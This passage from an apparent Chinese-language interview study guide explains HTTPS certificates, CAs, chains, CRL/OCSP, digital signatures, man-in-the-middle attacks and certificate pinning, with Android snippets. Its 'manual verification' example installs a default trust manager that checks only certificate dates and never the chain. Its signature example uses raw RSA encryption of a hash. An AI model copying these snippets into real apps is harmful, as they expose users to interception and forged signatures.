PublicKey publicKey = cert.getPublicKey();
总结:
- 证书包含版本、序列号、签名算法等
- 证书包含颁发者、主体、公钥信息
- 证书包含有效期和扩展信息
- 证书包含CA签名
12.3 数字证书包含哪些信息?
答案:
数字证书包含的信息:
-
基本信息
- 版本号
- 序列号
- 签名算法
-
颁发者信息(Issuer)
- CA名称
- CA组织
- CA国家
-
主体信息(Subject)
- 域名(CN)
- 组织(O)
- 国家(C)
-
有效期
- 生效时间(Not Before)
- 过期时间(Not After)
-
公钥信息
- 公钥算法(RSA/ECC)
- 公钥数据
-
扩展信息
- SAN(Subject Alternative Name)
- 密钥用途
- 扩展密钥用途
-
签名信息
- CA签名
- 签名算法
证书信息示例:
证书信息:
版本:v3
序列号:1234567890
签名算法:SHA256withRSA
颁发者:
CN=Let's Encrypt
O=Let's Encrypt
C=US
主体:
CN=www.example.com
O=Example Inc
C=CN
有效期:
生效:2024-01-01
过期:2024-04-01
公钥:
算法:RSA
长度:2048位
扩展:
SAN: www.example.com, example.com
Key Usage: Digital Signature, Key Encipherment
签名:
[CA签名数据]
Android代码示例:
// 获取证书信息
X509Certificate cert = (X509Certificate) certificates[0];
// 基本信息
int version = cert.getVersion();
BigInteger serialNumber = cert.getSerialNumber();
String sigAlgName = cert.getSigAlgName();
// 颁发者和主体
String issuer = cert.getIssuerDN().getName();
String subject = cert.getSubjectDN().getName();
// 有效期
Date notBefore = cert.getNotBefore();
Date notAfter = cert.getNotAfter();
// 公钥
PublicKey publicKey = cert.getPublicKey();
String keyAlgorithm = publicKey.getAlgorithm();
总结:
- 证书包含版本、序列号、签名算法
- 证书包含颁发者、主体、有效期
- 证书包含公钥和扩展信息
- 证书包含CA签名
12.4 数字证书的格式有哪些?
答案:
数字证书的格式:
-
DER(Distinguished Encoding Rules)
- 二进制格式
- ASN.1编码
- 文件扩展名:.der、.crt、.cer
-
PEM(Privacy-Enhanced Mail)
- Base64编码的DER
- 文本格式
- 文件扩展名:.pem、.crt、.cer
- 以
-----BEGIN CERTIFICATE-----开头
-
PKCS#12(.p12、.pfx)
- 包含证书和私钥
- 密码保护
- 用于客户端证书
-
PKCS#7(.p7b、.p7c)
- 证书链格式
- 可以包含多个证书
格式对比:
| 格式 | 编码 | 内容 | 扩展名 |
|---|---|---|---|
| DER | 二进制 | 单个证书 | .der、.crt、.cer |
| PEM | Base64 | 单个证书 | .pem、.crt、.cer |
| PKCS#12 | 二进制 | 证书+私钥 | .p12、.pfx |
| PKCS#7 | 二进制 | 证书链 | .p7b、.p7c |
PEM格式示例:
-----BEGIN CERTIFICATE-----
MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAw
RTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGElu
...
-----END CERTIFICATE-----
Android代码示例:
// 读取PEM格式证书
CertificateFactory factory = CertificateFactory.getInstance("X.509");
InputStream certStream = new FileInputStream("cert.pem");
X509Certificate cert = (X509Certificate) factory.generateCertificate(certStream);
// 读取PKCS#12格式(证书+私钥)
KeyStore keyStore = KeyStore.getInstance("PKCS12");
keyStore.load(new FileInputStream("cert.p12"), "password".toCharArray());
PrivateKey privateKey = (PrivateKey) keyStore.getKey("alias", "password".toCharArray());
X509Certificate cert = (X509Certificate) keyStore.getCertificate("alias");
总结:
- DER:二进制格式
- PEM:Base64文本格式(常用)
- PKCS#12:证书+私钥
- PKCS#7:证书链
12.5 X.509证书是什么?
答案:
X.509是数字证书的标准格式,定义了证书的结构和编码方式。
X.509定义:
- ITU-T X.509标准
- 定义了证书结构
- 定义了证书编码
- 广泛使用的证书格式
X.509证书结构:
- 版本号
- 序列号
- 签名算法
- 颁发者
- 有效期
- 主体
- 公钥信息
- 扩展
- 签名
X.509版本:
- v1:基本证书
- v2:添加颁发者和主体唯一标识
- v3:添加扩展(当前标准)
X.509应用:
- HTTPS证书
- SSL/TLS证书
- 代码签名证书
- 客户端证书
Android代码示例:
// X.509证书
CertificateFactory factory = CertificateFactory.getInstance("X.509");
// X.509是标准格式
// 读取X.509证书
InputStream certStream = new FileInputStream("cert.pem");
X509Certificate cert = (X509Certificate) factory.generateCertificate(certStream);
// X.509证书信息
int version = cert.getVersion(); // v3
BigInteger serialNumber = cert.getSerialNumber();
String subject = cert.getSubjectDN().getName();
String issuer = cert.getIssuerDN().getName();
总结:
- X.509是数字证书标准格式
- 定义了证书结构和编码
- 广泛使用(HTTPS、SSL/TLS)
- 当前标准是v3
12.6 CA机构的作用是什么?
答案:
CA(Certificate Authority,证书颁发机构)的作用:
-
颁发证书
- 验证申请者身份
- 颁发数字证书
- 签名证书
-
建立信任
- 作为信任根
- 用户信任CA
- 通过CA信任服务器
-
证书管理
- 证书撤销
- 证书更新
- 证书生命周期管理
-
验证身份
- 验证域名所有权
- 验证组织身份
- 保证证书真实性
CA工作流程:
1. 申请者向CA申请证书
2. CA验证申请者身份
3. CA颁发证书并签名
4. 服务器使用证书
5. 客户端验证证书(信任CA)
常见CA机构:
- Let's Encrypt(免费)
- DigiCert(商业)
- GlobalSign(商业)
- Sectigo(商业)
Android代码示例:
// CA证书存储在系统信任存储中
// Android自动验证CA签名
// 获取系统信任的CA
KeyStore keyStore = KeyStore.getInstance("AndroidCAStore");
keyStore.load(null, null);
Enumeration<String> aliases = keyStore.aliases();
while (aliases.hasMoreElements()) {
String alias = aliases.nextElement();
X509Certificate caCert = (X509Certificate) keyStore.getCertificate(alias);
// CA证书列表
}
总结:
- CA颁发和签名证书
- CA建立信任链
- CA管理证书生命周期
- 用户信任CA,从而信任服务器
12.7 常见的CA机构有哪些?
答案:
常见的CA机构:
-
Let's Encrypt
- 免费CA
- 自动化证书颁发
- 广泛使用
-
DigiCert
- 商业CA
- 高信任度
- 企业级证书
-
GlobalSign
- 商业CA
- 全球信任
- 企业级证书
-
Sectigo(原Comodo)
- 商业CA
- 广泛使用
- 价格较低
-
GoDaddy
- 域名注册商
- 也提供证书
- 价格较低
CA对比:
| CA机构 | 类型 | 价格 | 信任度 | 使用 |
|---|---|---|---|---|
| Let's Encrypt | 免费 | 免费 | 高 | 广泛 |
| DigiCert | 商业 | 高 | 很高 | 企业 |
| GlobalSign | 商业 | 中 | 高 | 企业 |
| Sectigo | 商业 | 低 | 高 | 广泛 |
| GoDaddy | 商业 | 低 | 中 | 个人 |
选择建议:
- 个人/小项目:Let's Encrypt(免费)
- 企业项目:DigiCert/GlobalSign(高信任度)
- 预算有限:Sectigo/GoDaddy(价格低)
总结:
- Let's Encrypt:免费,广泛使用
- DigiCert/GlobalSign:商业,高信任度
- Sectigo/GoDaddy:商业,价格低
12.8 证书链是什么?
答案:
证书链(Certificate Chain)是从根证书到服务器证书的证书序列。
证书链结构:
根证书(Root CA)
↓ 签名
中间证书(Intermediate CA)
↓ 签名
服务器证书(Server Certificate)
证书链作用:
- 建立信任链
- 验证证书真实性
- 连接根CA和服务器证书
证书链示例:
根证书:DigiCert Global Root CA
↓
中间证书:DigiCert SHA2 High Assurance Server CA
↓
服务器证书:www.example.com
证书链验证:
- 验证服务器证书签名(由中间CA签名)
- 验证中间证书签名(由根CA签名)
- 验证根证书(系统信任存储中)
- 建立完整信任链
Android代码示例:
// 获取证书链
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
Certificate[] certificates = conn.getServerCertificates();
// 证书链:certificates[0]是服务器证书,后续是中间证书
X509Certificate serverCert = (X509Certificate) certificates[0];
X509Certificate intermediateCert = (X509Certificate) certificates[1];
// 根证书在系统信任存储中
总结:
- 证书链:根证书 → 中间证书 → 服务器证书
- 建立信任链
- 验证证书真实性
- 连接根CA和服务器证书
12.9 根证书、中间证书、服务器证书的关系是什么?
答案:
根证书、中间证书、服务器证书的关系:
-
根证书(Root CA Certificate)
- 自签名证书
- 存储在系统信任存储中
- 作为信任根
-
中间证书(Intermediate CA Certificate)
- 由根CA签名
- 用于签名服务器证书
- 保护根证书私钥
-
服务器证书(Server Certificate)
- 由中间CA签名
- 包含服务器公钥
- 用于HTTPS连接
关系链:
根证书(自签名)
↓ 签名
中间证书(由根CA签名)
↓ 签名
服务器证书(由中间CA签名)
为什么需要中间证书?
- 保护根证书私钥(不直接签名服务器证书)
- 灵活管理(可以撤销中间证书)
- 安全隔离(根证书私钥离线存储)
Android代码示例:
// 证书链验证
Certificate[] certificates = conn.getServerCertificates();
// 服务器证书
X509Certificate serverCert = (X509Certificate) certificates[0];
Principal serverSubject = serverCert.getSubjectDN();
Principal serverIssuer = serverCert.getIssuerDN(); // 中间CA
// 中间证书
X509Certificate intermediateCert = (X509Certificate) certificates[1];
Principal intermediateSubject = intermediateCert.getSubjectDN(); // 中间CA
Principal intermediateIssuer = intermediateCert.getIssuerDN(); // 根CA
// 根证书在系统信任存储中
总结:
- 根证书:信任根,自签名
- 中间证书:由根CA签名,签名服务器证书
- 服务器证书:由中间CA签名,用于HTTPS
- 建立完整信任链
12.10 如何验证证书链?
答案:
验证证书链的方法:
-
验证服务器证书
- 检查签名(由中间CA签名)
- 检查有效期
- 检查域名匹配
-
验证中间证书
- 检查签名(由根CA签名)
- 检查有效期
- 检查证书用途
-
验证根证书
- 检查是否在系统信任存储中
- 检查是否被信任
- 建立信任链
验证流程:
1. 验证服务器证书签名(使用中间证书公钥)
2. 验证中间证书签名(使用根证书公钥)
3. 检查根证书是否在系统信任存储中
4. 检查所有证书的有效期
5. 检查域名匹配
6. 建立完整信任链
Android代码示例:
// 证书链验证(自动)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动验证证书链
// 1. 验证服务器证书签名
// 2. 验证中间证书签名
// 3. 检查根证书信任
// 4. 检查有效期和域名
conn.connect(); // 如果证书链验证失败,会抛出异常
// 手动验证证书链
Certificate[] certificates = conn.getServerCertificates();
X509Certificate serverCert = (X509Certificate) certificates[0];
// 验证证书
try {
serverCert.checkValidity(); // 检查有效期
// 验证签名和信任链(系统自动处理)
} catch (CertificateExpiredException e) {
// 证书过期
} catch (CertificateNotYetValidException e) {
// 证书未生效
}
验证要点:
- 签名验证
- 有效期检查
- 域名匹配
- 信任链建立
- 证书撤销检查
总结:
- 验证服务器证书签名
- 验证中间证书签名
- 检查根证书信任
- 检查有效期和域名
- 建立完整信任链
12.11 如何验证HTTPS证书?
答案:
验证HTTPS证书的方法:
-
自动验证(默认)
- Android自动验证
- 检查CA签名
- 检查有效期
- 检查域名匹配
-
手动验证
- 自定义验证逻辑
- 实现X509TrustManager
- 自定义证书验证
自动验证(默认):
// Android自动验证证书
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动验证:
// 1. 检查CA签名
// 2. 检查有效期
// 3. 检查域名匹配
// 4. 检查证书撤销
conn.connect(); // 如果验证失败,会抛出SSLException
手动验证(自定义):
// 自定义证书验证
TrustManager[] trustManagers = new TrustManager[]{
new X509TrustManager() {
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType) {
// 验证客户端证书
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType) {
// 验证服务器证书
for (X509Certificate cert : chain) {
cert.checkValidity(); // 检查有效期
// 其他验证逻辑
}
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
};
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustManagers, null);
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
验证内容:
- CA签名验证
- 有效期检查
- 域名匹配
- 证书撤销检查
- 证书链验证
最佳实践:
- 使用自动验证(默认)
- 只在特殊情况下自定义验证
- 不要跳过证书验证(不安全)
总结:
- Android自动验证证书(默认)
- 可以自定义验证逻辑
- 验证CA签名、有效期、域名等
- 不要跳过证书验证
12.12 证书验证的流程是什么?
答案:
证书验证的流程:
-
接收证书
- 服务器发送证书
- 客户端接收证书
- 获取证书链
-
验证签名
- 验证服务器证书签名(使用中间CA公钥)
- 验证中间证书签名(使用根CA公钥)
- 建立信任链
-
检查有效期
- 检查证书是否在有效期内
- 检查Not Before和Not After
-
检查域名
- 检查证书域名是否匹配
- 检查CN和SAN
-
检查撤销
- 检查CRL(证书撤销列表)
- 检查OCSP(在线证书状态协议)
-
建立信任
- 验证根证书在系统信任存储中
- 建立完整信任链
验证流程:
1. 接收服务器证书
↓
2. 验证服务器证书签名(使用中间CA公钥)
↓
3. 验证中间证书签名(使用根CA公钥)
↓
4. 检查根证书是否在系统信任存储中
↓
5. 检查所有证书的有效期
↓
6. 检查域名匹配
↓
7. 检查证书撤销状态(可选)
↓
8. 验证通过,建立信任
Android代码示例:
// 证书验证流程(自动)
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
// 1. 接收证书(自动)
conn.connect();
// 2-8. 验证流程(自动)
// 如果验证失败,会抛出SSLException
// 手动验证流程
Certificate[] certificates = conn.getServerCertificates();
X509Certificate serverCert = (X509Certificate) certificates[0];
// 1. 检查有效期
serverCert.checkValidity();
// 2. 检查域名
String subject = serverCert.getSubjectDN().getName();
// 检查CN和SAN是否匹配
// 3. 验证签名(系统自动处理)
// 4. 检查信任链(系统自动处理)
验证要点:
- 签名验证
- 有效期检查
- 域名匹配
- 证书撤销检查
- 信任链建立
总结:
- 接收证书 → 验证签名 → 检查有效期 → 检查域名 → 检查撤销 → 建立信任
- Android自动处理大部分验证
- 可以自定义验证逻辑
12.13 证书过期如何处理?
答案:
证书过期的处理方法:
-
预防措施
- 监控证书有效期
- 提前更新证书
- 设置证书到期提醒
-
证书更新
- 申请新证书
- 替换旧证书
- 重启服务
-
错误处理
- 捕获CertificateExpiredException
- 显示友好错误提示
- 引导用户更新
证书过期检测:
// 检查证书有效期
X509Certificate cert = (X509Certificate) certificates[0];
Date notAfter = cert.getNotAfter();
Date now = new Date();
if (now.after(notAfter)) {
// 证书已过期
throw new CertificateExpiredException("Certificate expired");
}
// 检查证书即将过期(提前30天)
long daysUntilExpiry = (notAfter.getTime() - now.getTime()) / (1000 * 60 * 60 * 24);
if (daysUntilExpiry < 30) {
// 证书即将过期,需要更新
}
证书更新流程:
1. 检测证书即将过期
2. 申请新证书(从CA)
3. 安装新证书
4. 重启服务
5. 验证新证书
Android代码示例:
// 处理证书过期
try {
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
conn.connect();
} catch (SSLException e) {
if (e.getCause() instanceof CertificateExpiredException) {
// 证书过期
showError("证书已过期,请联系服务器管理员");
}
}
最佳实践:
- 监控证书有效期
- 提前更新证书(至少提前30天)
- 设置自动更新(Let's Encrypt)
- 处理证书过期错误
总结:
- 预防:监控有效期,提前更新
- 更新:申请新证书,替换旧证书
- 处理:捕获异常,显示友好提示
12.14 证书撤销列表(CRL)是什么?
答案:
CRL(Certificate Revocation List,证书撤销列表)是CA发布的已撤销证书列表。
CRL作用:
- 列出已撤销的证书
- 客户端检查证书是否被撤销
- 防止使用已撤销的证书
CRL特点:
- 定期更新(通常每天)
- 包含撤销证书的序列号
- 包含撤销原因
- 包含撤销时间
CRL使用:
1. CA发布CRL
2. 客户端下载CRL
3. 客户端检查证书序列号是否在CRL中
4. 如果在CRL中,证书被撤销,拒绝连接
CRL问题:
- 需要定期下载(性能开销)
- 可能有延迟(证书撤销后需要等待CRL更新)
- 文件可能很大
OCSP替代:
- OCSP(Online Certificate Status Protocol)
- 实时查询证书状态
- 不需要下载完整CRL
- 性能更好
Android代码示例:
// CRL检查(系统自动处理)
// Android使用OCSP优先,CRL作为备选
// 手动检查CRL
CertificateFactory factory = CertificateFactory.getInstance("X.509");
X509CRL crl = (X509CRL) factory.generateCRL(crlInputStream);
X509Certificate cert = (X509Certificate) certificates[0];
if (crl.isRevoked(cert)) {
// 证书被撤销
throw new CertificateException("Certificate revoked");
}
总结:
- CRL是已撤销证书列表
- 客户端检查证书是否在CRL中
- 有性能问题,OCSP是更好的选择
- Android优先使用OCSP
12.15 OCSP是什么?
答案:
OCSP(Online Certificate Status Protocol,在线证书状态协议)是实时查询证书状态的协议。
OCSP作用:
- 实时查询证书是否被撤销
- 不需要下载完整CRL
- 性能更好
OCSP工作流程:
1. 客户端发送OCSP请求(包含证书信息)
2. OCSP服务器查询证书状态
3. OCSP服务器返回证书状态(good/revoked/unknown)
4. 客户端根据状态决定是否信任证书
OCSP vs CRL:
| 特性 | CRL | OCSP |
|---|---|---|
| 更新方式 | 定期下载 | 实时查询 |
| 性能 | 差(需要下载完整列表) | 好(只查询单个证书) |
| 延迟 | 可能有延迟 | 实时 |
| 使用 | 传统方式 | 现代方式(推荐) |
OCSP优势:
- 实时查询
- 性能好
- 不需要下载完整列表
- 现代标准
Android代码示例:
// OCSP检查(系统自动处理)
// Android优先使用OCSP,CRL作为备选
// OCSP在HTTPS连接中自动使用
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动进行OCSP检查
// 1. 从证书中获取OCSP URL
// 2. 发送OCSP请求
// 3. 接收OCSP响应
// 4. 验证证书状态
conn.connect(); // OCSP检查自动进行
OCSP Stapling:
- 服务器预先获取OCSP响应
- 服务器在TLS握手时发送OCSP响应
- 减少客户端OCSP查询
- 提高性能
总结:
- OCSP是实时查询证书状态的协议
- 性能比CRL好
- Android优先使用OCSP
- OCSP Stapling可以进一步提高性能
第十三章:HTTPS 安全机制(15 题)
13.1 数字签名的作用是什么?
答案:
数字签名(Digital Signature)的作用:
-
身份验证
- 证明数据来源
- 验证发送者身份
- 防止冒充
-
数据完整性
- 验证数据未被篡改
- 检测数据修改
- 保证数据完整性
-
不可否认性
- 发送者无法否认发送
- 提供法律证据
- 保证责任追溯
数字签名在HTTPS中的作用:
- 证书签名:CA对证书签名,证明证书真实性
- 数据完整性:验证传输数据未被篡改
- 身份验证:验证服务器身份
Android代码示例:
// 数字签名生成
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data);
byte[] signatureBytes = signature.sign();
// 数字签名验证
signature.initVerify(publicKey);
signature.update(data);
boolean verified = signature.verify(signatureBytes);
总结:
- 数字签名用于身份验证
- 数字签名保证数据完整性
- 数字签名提供不可否认性
- HTTPS使用数字签名验证证书和数据
13.2 数字签名的原理是什么?
答案:
数字签名的原理:
-
签名生成
- 对数据计算哈希值
- 使用私钥加密哈希值
- 得到数字签名
-
签名验证
- 对数据计算哈希值
- 使用公钥解密签名
- 比较两个哈希值
签名流程:
签名生成:
数据 → 哈希算法 → 哈希值 → 私钥加密 → 数字签名
签名验证:
数据 → 哈希算法 → 哈希值1
数字签名 → 公钥解密 → 哈希值2
比较哈希值1和哈希值2 → 验证结果
数字签名原理:
- 使用非对称加密(私钥签名,公钥验证)
- 使用哈希算法(生成数据摘要)
- 结合两者保证安全性和完整性
Android代码示例:
// 数字签名原理
// 1. 生成哈希值
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(data);
// 2. 使用私钥加密哈希值(签名)
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, privateKey);
byte[] signature = cipher.doFinal(hash);
// 3. 使用公钥解密签名(验证)
cipher.init(Cipher.DECRYPT_MODE, publicKey);
byte[] decryptedHash = cipher.doFinal(signature);
// 4. 比较哈希值
boolean verified = Arrays.equals(hash, decryptedHash);
总结:
- 数字签名 = 哈希算法 + 非对称加密
- 私钥签名,公钥验证
- 保证身份验证和数据完整性
13.3 数字签名如何生成?
答案:
数字签名生成过程:
-
计算哈希值
- 对原始数据使用哈希算法
- 生成固定长度的哈希值
- 例如:SHA-256
-
私钥加密
- 使用私钥加密哈希值
- 得到数字签名
- 例如:RSA私钥加密
生成流程:
原始数据
↓
哈希算法(SHA-256)
↓
哈希值
↓
私钥加密(RSA)
↓
数字签名
Android代码示例:
// 数字签名生成
// 1. 准备数据
byte[] data = "Hello World".getBytes();
// 2. 计算哈希值
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(data);
// 3. 使用私钥加密哈希值
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data);
byte[] signatureBytes = signature.sign();
// 或者直接使用Signature类(自动处理哈希)
signature.initSign(privateKey);
signature.update(data);
byte[] signatureBytes = signature.sign();
签名算法:
- SHA256withRSA:SHA-256哈希 + RSA加密
- SHA384withRSA:SHA-384哈希 + RSA加密
- SHA256withECDSA:SHA-256哈希 + ECDSA加密
总结:
- 计算数据哈希值
- 使用私钥加密哈希值
- 得到数字签名
13.4 数字签名如何验证?
答案:
数字签名验证过程:
-
计算哈希值
- 对原始数据使用相同的哈希算法
- 生成哈希值
-
公钥解密
- 使用公钥解密数字签名
- 得到原始哈希值
-
比较哈希值
- 比较计算出的哈希值和解密出的哈希值
- 如果相同,验证通过
- 如果不同,验证失败
验证流程:
原始数据
↓
哈希算法(SHA-256)
↓
哈希值1
数字签名
↓
公钥解密(RSA)
↓
哈希值2
比较哈希值1和哈希值2
↓
验证结果(相同=通过,不同=失败)
Android代码示例:
// 数字签名验证
// 1. 准备数据和签名
byte[] data = "Hello World".getBytes();
byte[] signatureBytes = ...; // 接收到的签名
// 2. 验证签名
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initVerify(publicKey);
signature.update(data);
boolean verified = signature.verify(signatureBytes);
if (verified) {
// 签名验证通过
} else {
// 签名验证失败
}
验证结果:
- 验证通过:数据未被篡改,签名有效
- 验证失败:数据被篡改或签名无效
总结:
- 计算数据哈希值
- 使用公钥解密签名
- 比较哈希值
- 判断验证结果
13.5 数字签名如何保证完整性?
答案:
数字签名保证完整性的原理:
-
哈希算法特性
- 雪崩效应:数据微小变化导致哈希值巨大变化
- 单向性:无法从哈希值恢复原数据
- 抗碰撞性:很难找到两个不同数据产生相同哈希值
-
签名验证
- 如果数据被篡改,哈希值会改变
- 解密签名得到的哈希值与新计算的哈希值不同
- 验证失败,检测到数据被篡改
完整性保证流程:
原始数据 → 哈希值1 → 私钥加密 → 签名
如果数据被篡改:
篡改数据 → 哈希值2(与哈希值1不同)
签名 → 公钥解密 → 哈希值1
比较哈希值1和哈希值2 → 不同 → 验证失败 → 检测到篡改
Android代码示例:
// 数字签名保证完整性
byte[] originalData = "Hello World".getBytes();
byte[] signature = generateSignature(originalData, privateKey);
// 如果数据被篡改
byte[] tamperedData = "Hello World!".getBytes(); // 数据被修改
// 验证签名
boolean verified = verifySignature(tamperedData, signature, publicKey);
// verified = false,检测到数据被篡改
完整性保证:
- 数据未被篡改:哈希值相同,验证通过
- 数据被篡改:哈希值不同,验证失败
- 保证数据完整性
总结:
- 利用哈希算法的雪崩效应
- 数据被篡改会导致哈希值改变
- 签名验证失败,检测到篡改
- 保证数据完整性
13.6 中间人攻击是什么?
答案:
中间人攻击(Man-in-the-Middle Attack,MITM)是攻击者在客户端和服务器之间拦截和修改通信的攻击方式。
中间人攻击原理:
正常通信:
客户端 ←→ 服务器
中间人攻击:
客户端 ←→ [攻击者] ←→ 服务器
↑
攻击者拦截和修改通信
攻击方式:
-
拦截通信
- 攻击者位于客户端和服务器之间
- 拦截所有通信数据
-
冒充服务器
- 攻击者向客户端冒充服务器
- 向客户端发送伪造的证书
-
修改数据
- 修改传输的数据
- 窃取敏感信息
攻击场景:
- 公共WiFi网络
- 恶意代理服务器
- ARP欺骗
- DNS劫持
Android代码示例:
// 中间人攻击示例(仅用于演示,实际中应该防止)
// 攻击者可能:
// 1. 拦截HTTPS连接
// 2. 发送伪造证书
// 3. 解密和修改数据
// 防止中间人攻击:使用HTTPS和证书验证
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// HTTPS和证书验证可以防止中间人攻击
conn.connect();
总结:
- 中间人攻击是拦截和修改通信的攻击
- 攻击者位于客户端和服务器之间
- 可以拦截、修改、窃取数据
- HTTPS和证书验证可以防止
13.7 中间人攻击的原理是什么?
答案:
中间人攻击的原理:
-
位置优势
- 攻击者位于客户端和服务器之间
- 可以拦截所有通信
- 可以修改通信内容
-
冒充身份
- 向客户端冒充服务器
- 向服务器冒充客户端
- 建立两个独立的连接
-
数据转发
- 拦截客户端数据
- 修改后转发给服务器
- 拦截服务器数据
- 修改后转发给客户端
攻击流程:
1. 攻击者拦截客户端请求
2. 攻击者向客户端发送伪造响应(冒充服务器)
3. 攻击者向服务器发送请求(冒充客户端)
4. 攻击者拦截服务器响应
5. 攻击者修改数据后转发
6. 客户端和服务器都不知道攻击者的存在
HTTP中间人攻击:
客户端 → [攻击者] → 服务器
↑
攻击者可以:
- 查看所有数据(明文)
- 修改数据
- 窃取密码、Cookie等
HTTPS如何防止:
- 证书验证:客户端验证服务器证书,防止冒充
- 加密传输:数据加密,攻击者无法查看
- 完整性校验:数据被修改会被检测到
总结:
- 攻击者位于通信路径中间
- 冒充客户端和服务器
- 拦截和修改通信
- HTTPS可以防止中间人攻击
13.8 如何防止中间人攻击?
答案:
防止中间人攻击的方法:
-
使用HTTPS
- 加密传输
- 证书验证
- 防止数据被窃听和篡改
-
证书验证
- 验证服务器证书
- 检查CA签名
- 检查域名匹配
-
证书锁定(Certificate Pinning)
- 固定服务器证书
- 只信任特定证书
- 防止伪造证书
-
安全网络
- 使用可信网络
- 避免公共WiFi
- 使用VPN
防止方法:
1. HTTPS + 证书验证(基本防护)
// HTTPS自动验证证书
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// 自动验证证书,防止中间人攻击
conn.connect();
2. 证书锁定(高级防护)
// 证书锁定
CertificatePinner certificatePinner = new CertificatePinner.Builder()
.add("www.example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
.build();
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(certificatePinner)
.build();
3. 安全网络
- 使用可信WiFi网络
- 使用VPN
- 避免公共WiFi
最佳实践:
- 生产环境必须使用HTTPS
- 启用证书验证
- 考虑使用证书锁定
- 使用安全网络
总结:
- 使用HTTPS和证书验证
- 使用证书锁定(高级防护)
- 使用安全网络
- 多层防护
13.9 HTTPS如何防止中间人攻击?
答案:
HTTPS防止中间人攻击的机制:
-
证书验证
- 客户端验证服务器证书
- 检查CA签名
- 防止攻击者冒充服务器
-
加密传输
- 数据加密传输
- 攻击者无法查看数据
- 防止数据被窃听
-
完整性校验
- MAC验证数据完整性
- 检测数据是否被篡改
- 防止数据被修改
HTTPS防护机制:
1. 证书验证
客户端请求 → 服务器发送证书
客户端验证:
- CA签名(攻击者无法伪造)
- 域名匹配(防止域名欺骗)
- 有效期(防止过期证书)
验证通过 → 建立连接
验证失败 → 拒绝连接
2. 加密传输
客户端和服务器:
- 协商加密密钥
- 加密所有数据
- 攻击者无法解密
3. 完整性校验
每个数据包:
- 计算MAC
- 验证MAC
- 检测篡改
Android代码示例:
// HTTPS自动防止中间人攻击
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理:
// 1. 证书验证(防止冒充)
// 2. 加密传输(防止窃听)
// 3. 完整性校验(防止篡改)
conn.connect(); // 如果中间人攻击,会检测到并拒绝连接
总结:
- 证书验证:防止冒充服务器
- 加密传输:防止数据被窃听
- 完整性校验:防止数据被篡改
- HTTPS有效防止中间人攻击
13.10 证书锁定(Certificate Pinning)是什么?
答案:
证书锁定(Certificate Pinning)是固定服务器证书,只信任特定证书的安全机制。
证书锁定原理:
- 客户端预先存储服务器证书的哈希值
- 连接时验证服务器证书是否匹配
- 如果不匹配,拒绝连接
- 防止伪造证书攻击
证书锁定 vs 普通证书验证:
| 特性 | 普通证书验证 | 证书锁定 |
|---|---|---|
| 验证方式 | 验证CA签名 | 验证证书哈希值 |
| 灵活性 | 高(接受任何CA签名的证书) | 低(只接受特定证书) |
| 安全性 | 中 | 高 |
| 维护成本 | 低 | 高(证书更新需要更新应用) |
证书锁定优势:
- 防止CA被攻击
- 防止伪造证书
- 提高安全性
证书锁定劣势:
- 证书更新需要更新应用
- 维护成本高
- 灵活性低
Android代码示例(OkHttp):
// 证书锁定
CertificatePinner certificatePinner = new CertificatePinner.Builder()
.add("www.example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
.add("api.example.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=")
.build();
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(certificatePinner)
.build();
总结:
- 证书锁定固定服务器证书
- 只信任特定证书
- 提高安全性,但维护成本高
- 适用于高安全要求场景
13.11 证书锁定的原理是什么?
答案:
证书锁定的原理:
-
预先存储
- 客户端预先存储服务器证书的哈希值
- 存储在应用代码或配置文件中
-
连接验证
- 建立HTTPS连接时
- 获取服务器证书
- 计算证书哈希值
-
哈希比较
- 比较计算出的哈希值和存储的哈希值
- 如果匹配,允许连接
- 如果不匹配,拒绝连接
证书锁定流程:
1. 应用开发时:
获取服务器证书
计算证书哈希值(SHA-256)
存储在应用中
2. 运行时:
建立HTTPS连接
获取服务器证书
计算证书哈希值
与存储的哈希值比较
匹配 → 允许连接
不匹配 → 拒绝连接
Android代码示例:
// 证书锁定原理
// 1. 预先计算证书哈希值
X509Certificate cert = getServerCertificate();
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] certHash = md.digest(cert.getEncoded());
String certHashBase64 = Base64.encodeToString(certHash, Base64.NO_WRAP);
// 2. 存储哈希值
String pinnedHash = "sha256/" + certHashBase64;
// 3. 运行时验证
CertificatePinner pinner = new CertificatePinner.Builder()
